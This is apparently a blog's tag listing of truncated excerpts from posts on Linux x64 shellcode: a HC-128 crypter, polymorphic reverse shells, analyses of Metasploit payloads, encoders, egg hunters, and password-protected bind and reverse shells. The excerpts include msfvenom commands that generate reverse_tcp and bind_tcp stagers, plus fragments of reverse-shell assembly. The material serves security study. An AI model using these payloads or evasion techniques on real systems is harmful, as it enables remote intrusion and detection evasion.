In this post I will introduce custom shellcode crypter based on HC-128 cipher. Introduction to HC-128 cipher The HC-128 algorithm is a software-efficient, synchronous symmetric stream cipher designed by Hongjun Wu. The cipher makes use of a 128-bit key and 128-bit initialization vector. I will use HC-128 library developed in ECRYPT II project and simple stack execve shellcode. /bin/sh execve …
Tag: x64
Shellcode Polymorphism Examples (x64)
This blog post shows polymorphic transformation of three Linux Intel x64 shellcodes. 1. Dynamic null-free reverse TCP shell Link to original shellcode: http://shell-storm.org/shellcode/files/shellcode-907.php Original shellcode with analysis push byte 41 pop rax ; syscall number 41, int socket(int domain, int type, int protocol) cdq ; zeroing RDX via sign extension push byte 2 pop rdi ; RDI = 2, int …
Analysis of Metasploit linux/x64/shell/reverse_tcp shellcode
linux/x64/shell/reverse_tcp staged shellcode generally consists of following steps Map 4096 bytes in process’ VAS memory Create and connect socket to remote address and port Wait for incoming data and save them into mapped memory Execute saved data Shellcode demonstration Create elf64 executable with msfvenom $ msfvenom -p linux/x64/shell/reverse_tcp -f elf -a x64 –platform linux LHOST=127.1.1.2 LPORT=5555 -o staged_reverse_tcp Set up …
Analysis of Metasploit linux/x64/exec shellcode
linux/x64/exec utilizes -c flag of system command interpreter (ie. dash on Ubuntu systems) and executes given command in non-login and non-interactive session. Important is that given command is executed as string operand instead being read from stdin. Consider following shell command $ sudo echo “foo” >> /etc/passwd bash: /etc/passwd: Permission denied The above redirection will not work because sudo is …
Analysis of Metasploit linux/x64/shell/bind_tcp shellcode
linux/x64/shell/bind_tcp staged shellcode generally consists of following steps Create listening port and wait for connection Map 4096 bytes in process’ VAS memory Wait for incoming data and save them into mapped memory Execute saved data Shellcode demonstration Create elf64 executable with msfvenom $ msfvenom -p linux/x64/shell/bind_tcp -f elf -a x64 –platform linux LPORT=1234 -o staged_bind_tcp_x64 Execute the stager $ chmod …
Encoding with SSE2-PADDQ instruction (x64)
This blog post introduces PADDQ instruction from intel SIMD – SSE2 extension and how it can be used to encode and decode a shellcode. Developed encoder creates polymorphic shellcode – however the decoder assembly stub remains static. PADDQ instruction PADDQ instruction simply adds 2 packed qwords in the first operand to corresponding 2 packed qwords in the second operand. First …
Egg Hunters on Linux (x64)
This blog post is follow-on to my previous post on Linux x86 egg hunters. In case you haven’t got previous experience with egg hunters read at least VAS – Virtual Address Space What are and why to use egg hunters ? In this post you will find x64 versions of egg hunters introduced in Egg Hunters on Linux and analysis …
Creating password protected TCP reverse shell shellcode (x64)
This blog post describes manual creating of password protected TCP reverse shellcode on Intel 64-bit architecture and Linux platform. If you have already read previous blog post how to create bind shell you will find this post very easy to follow as the progress is almost the same. We will start with following C code. Difference between bind and reverse …
Creating password protected TCP bind shell shellcode (x64)
This blog post describes manual creating of password protected TCP bind shell shellcode on Intel 64-bit architecture and Linux platform. We will start with following C code. Bind shell C code analysis Call to socket() creates a connection socket(1) and returns file descriptor(2) which identifies this socket later on. First argument selects the protocol family which will be used for …